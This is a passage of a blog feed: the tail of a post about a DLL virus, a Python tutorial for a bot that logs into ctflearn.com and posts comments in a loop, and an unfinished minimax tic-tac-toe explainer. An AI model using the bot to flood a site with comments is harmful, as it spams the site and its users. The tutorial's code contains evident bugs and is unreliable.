&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flrl5orwfvxcwali5ycd8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Flrl5orwfvxcwali5ycd8.png" alt="dll-virus-code" width="800" height="617"&gt;&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;If you're interested in this subject, you can take a look at &lt;a href="https://github.com/Atena-d/Atena-Dadkhah" rel="noopener noreferrer"&gt;this repository on GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Thanks! 👻&lt;/p&gt;

</description>
      <category>python</category>
      <category>security</category>
      <category>virus</category>
    </item>
    <item>
      <title>A bot that comments a lot</title>
      <dc:creator>Atena Dadkhah</dc:creator>
      <pubDate>Sun, 06 Nov 2022 16:07:01 +0000</pubDate>
      <link>https://forem.com/atenadadkhah/a-bot-that-comments-a-lot-2n4i</link>
      <guid>https://forem.com/atenadadkhah/a-bot-that-comments-a-lot-2n4i</guid>
      <description>&lt;p&gt;In this post I want to show you how to login to a website and then comment on a post...&lt;br&gt;
Wait, what?&lt;br&gt;
I know you've already could do that. LOL. But the goal is to do that with Python.&lt;/p&gt;

&lt;p&gt;In fact, we want to have a bot that logins to a website and then comments on a post as many times as you want.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Important!&lt;/strong&gt; The code we write, is not always the same in each website, but the point is to learn how to implement the theory of that.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;To begin, you should choose a simple website to implement this operation. I chose &lt;em&gt;ctflearn.com&lt;/em&gt; as an example.&lt;/p&gt;



&lt;p&gt;First step, install and import the &lt;strong&gt;requests&lt;/strong&gt; library of Python.&lt;/p&gt;

&lt;p&gt;As I mentioned earlier in this post, at first we should login, then comment on a specific post. So we should now plan to login with our bot.&lt;/p&gt;

&lt;p&gt;I suppose you've already registered to that website (have an account) so that we can login properly.&lt;/p&gt;

&lt;p&gt;To login and then comment, we need to keep our session after login. so I will say:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;

&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;Requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
     &lt;span class="c1"&gt;# The operation goes here
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To login we need to recognize all inputs on that page and fill them to send it to the server.&lt;/p&gt;

&lt;p&gt;Inputs on a page might just consist of a username/email and password. But the key is to fill out those inputs and send the data to the server once, then go to Network tab in the dev tools,&lt;br&gt;
choose the file related to that login page on the left bar and then choosing the payload tab on the right.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6iea22ttsw62ykfpa7ik.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F6iea22ttsw62ykfpa7ik.png" alt="sending_values_login" width="800" height="359"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;By that you will see there might (or might not) be some other hidden inputs like CSRF tokens which also should be filled by the bot.&lt;/p&gt;

&lt;p&gt;So, here and maybe on many other websites, in addition to the login information, we must also send the CSRF token.&lt;br&gt;
To do that, my way is that with each request, get the source code of that page and find the index of the value of the CSRF input, then slice that from the page and send that among other values.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;Requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
     &lt;span class="n"&gt;source&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://ctflearn.com/user/login&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To find the index of the CSRF token we can find the index of this hidden input &lt;strong&gt;name&lt;/strong&gt; (because it's mostly unique in the source code), and then receiving the main CSRF token.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;Requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
     &lt;span class="n"&gt;source&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://ctflearn.com/user/login&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
     &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rfind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rfind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;124&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So we got the input name index, (here &lt;em&gt;csrf_token&lt;/em&gt;) and made that plus 33 (the 1st index of the token) and  we sliced that through the end of the CSRF token, by summing that with 124 (calculating the CSRF length).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Notice!&lt;/strong&gt; Your numbers from different websites are different.&lt;/p&gt;

&lt;p&gt;And the final step to login, is to send these data to the server.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;Requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
     &lt;span class="n"&gt;source&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://ctflearn.com/user/login&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
     &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rfind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rfind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;124&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;identifier&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3dot&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;123456&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://ctflearn.com/user/login&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The keys of payload variable, should be the name of their inputs, and the URL we post the data, should be the URL from the Network tab.&lt;br&gt;
After login, we should repeat this process to comment on a post.&lt;/p&gt;

&lt;p&gt;Under the login variable we should write:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;commentSource&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://ctflearn.com/challenge/228&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;commentToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;commentSource&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;commentSource&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;39&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;commentSource&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="n"&gt;commentPayload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;markdown&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Your message!&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;commentToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="n"&gt;comment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://ctflearn.com/challenge/228/comment&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;commentPayload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;At the end your code should looks like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;requests&lt;/span&gt;
&lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="n"&gt;Requests&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Session&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
     &lt;span class="n"&gt;source&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://ctflearn.com/user/login&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="n"&gt;text&lt;/span&gt;
     &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rfind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;33&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;source&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;rfind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;124&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;identifier&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;3dot&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;password&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;123456&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;login&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://ctflearn.com/user/login&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;commentSource&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://ctflearn.com/challenge/228&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;commentToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; 
    &lt;span class="n"&gt;commentSource&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;commentSource&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;39&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; 
    &lt;span class="n"&gt;commentSource&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;index&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;name=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;"'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;130&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;commentPayload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
       &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;markdown&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;Your message!&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
       &lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;csrf_token&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt; &lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;commentToken&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
   &lt;span class="p"&gt;}&lt;/span&gt;
   &lt;span class="n"&gt;comment&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;r&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;post&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;https://ctflearn.com/challenge/228/comment&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; 
   &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;commentPayload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;By this code you can easily make a bot that logins to a website and then comments on a post.&lt;/p&gt;

&lt;p&gt;You can also put a &lt;em&gt;for loop&lt;/em&gt; to comment as many times as you want.&lt;/p&gt;




&lt;p&gt;I hope this post helped you, for more information you can watch &lt;a href="https://www.youtube.com/watch?v=A8wG4jW8A14" rel="noopener noreferrer"&gt;this video&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>python</category>
      <category>bot</category>
      <category>requests</category>
    </item>
    <item>
      <title>When AI plays Tic Tac Toe</title>
      <dc:creator>Atena Dadkhah</dc:creator>
      <pubDate>Mon, 17 Oct 2022 18:33:41 +0000</pubDate>
      <link>https://forem.com/atenadadkhah/when-ai-plays-tic-tac-toe-2464</link>
      <guid>https://forem.com/atenadadkhah/when-ai-plays-tic-tac-toe-2464</guid>
      <description>&lt;p&gt;I remember the first time that I was playing Tic Tac Toe with a non-human, I really had no idea how it works or how it knows what moves to make to prevent me from winning the game.&lt;/p&gt;

&lt;p&gt;My answers to this question were hilarious at the time; but then, after some time, I found that this is just a simple algorithm which never led me beat it. &lt;/p&gt;

&lt;p&gt;The algorithm is called &lt;em&gt;&lt;strong&gt;MiniMax&lt;/strong&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  MiniMax
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;MiniMax&lt;/strong&gt; isn't just for Tic Tac Toe game, in fact it's a very cool algorithm which we can use in any match where there is an opponent in front of you and is acting &lt;em&gt;against you&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;The theory behind the MiniMax algorithm is to predict the opponent moves or thoughts, which are obviously beneficial for her/him and then choosing the best move based on your prediction.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The best move should be both to your advantage and to your rival's disadvantage.&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Tic Tac Toe
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzu7h2bu9l6hm4v5kohgs.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fzu7h2bu9l6hm4v5kohgs.gif" alt="iceXO tic tac toe game minimax" width="476" height="306"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first step of the process is to predict all possible actions after a player makes any moves.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm9zu0c0clagqij2qnp8r.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fm9zu0c0clagqij2qnp8r.png" alt="tic tac toe predicting actions" width="500" height="333"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We continue this process till the game overs. You'll see it makes a &lt;em&gt;recursive function&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkkshrjs3tuwdfomt4yoz.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fkkshrjs3tuwdfomt4yoz.png" alt="tic tac toe predicting actions minimax" width="800" height="507"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;To understand this picture better, at first we should specify a score for each position of the game board.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;-1: O wins&lt;br&gt;
0: No one wins&lt;br&gt;
+1: X wins&lt;/p&gt;

&lt;p&gt;And then, please consider player O and player X as min player and max player.&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Min player: Chooses the minimum score &lt;/li&gt;
